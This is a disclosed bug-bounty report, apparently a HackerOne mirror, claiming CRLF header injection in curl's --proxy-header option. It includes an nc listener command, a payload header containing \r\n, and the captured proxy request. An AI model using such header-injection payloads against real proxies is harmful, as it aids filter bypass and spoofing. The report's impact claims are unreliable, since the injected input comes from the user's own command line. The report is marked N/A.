HexBrain

curl · Report #3133379

CRLF Injection in `--proxy-header` allows extra HTTP headers (CWE-93)

N/Astatus
42upvotes
8 May 2025disclosed

How it was found

Hello Team,

There is a bug in curl where a user can inject new HTTP headers into a proxy request by using special characters in the --proxy-header option.

This is done by adding \r\n (carriage return + line feed) inside the header value. This breaks the HTTP format and lets the user create more headers from a single line

What’s the Problem?

The problem happens because curl does not check for \r or \n in the input. So if a user puts:

--proxy-header $'X-Test: hello\r\nX-Evil: owned'

The proxy sees two headers:

X-Test: hello
X-Evil: owned

This is not supposed to happen

How the Code Works (with file paths and lines)

Here’s how curl processes the --proxy-header input:

Main Function

src/tool_main.c line 238

Entry point of the program:

int main(int argc, char *argv[])

Calling operate()

src/tool_main.c line 284

result = operate(&global, argc, argv);

CLI Parsing

src/tool_operate.c, line 3186

parse_args(global, argc, argv);

Handling --proxy-header

src/tool_getparam.c line 2766

case C_PROXY_HEADER:
    err = parse_header(global, config, cmd, nextarg);

Passing the value

src/tool_getparam.c, line 1281

err = add2list(&config->proxyheaders, nextarg);

No Filtering Happens

src/tool_paramhlp.c, line 614–615

ParameterError add2list(...) {
    struct curl_slist *newlist = curl_slist_append(*list, ptr);

At this point, the raw input (even if it includes \r\n) is passed as-is to curl_slist_append(), and then into the final HTTP request

There is no check to block newline injection

Proof of Concept

1. Start a fake proxy listener:

nc -lvp 8080

2. Run curl with a payload header:

curl --proxy http://127.0.0.1:8080 \
     --proxy-header $'X-Evil: val\r\nInjected-Header: pwned' \
     http://example.com

Attachment:

{F4325956}

3. Netcat output:

Listening on 0.0.0.0 8080
Connection received on localhost 54198
GET http://example.com/ HTTP/1.1
Host: example.com
User-Agent: curl/8.13.0
Accept: */*
Proxy-Connection: Keep-Alive
X-Evil: val
Injected-Header: pwned

It proves that one CLI input caused two headers

Attachment:

{F4325954}

Suggested Fix

In this file:

src/tool_paramhlp.c, inside add2list(), around line 615:

Add a simple check:

if(strchr(ptr, '\r') || strchr(ptr, '\n'))
    return PARAM_INVALID_HEADER;

This will block all \r or \n inside header input.

Impact

This bug allows the user to inject raw HTTP headers into proxy requests.

By using a single command-line input, a user can add multiple headers.This breaks the normal HTTP format and can be used to:

Bypass security filters (WAF, proxy rules)

Inject spoofed headers like X-Forwarded-For, Authorization

Poison logs on the proxy

Bug is easy to test

The issue is real and affects live network traffic

Similar bugs in other tools got CVEs

Tested on curl 8.13.0 (May 2025), on Kali Linux

Thanks for reviewing. Let me know if you need help verifying the fix

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original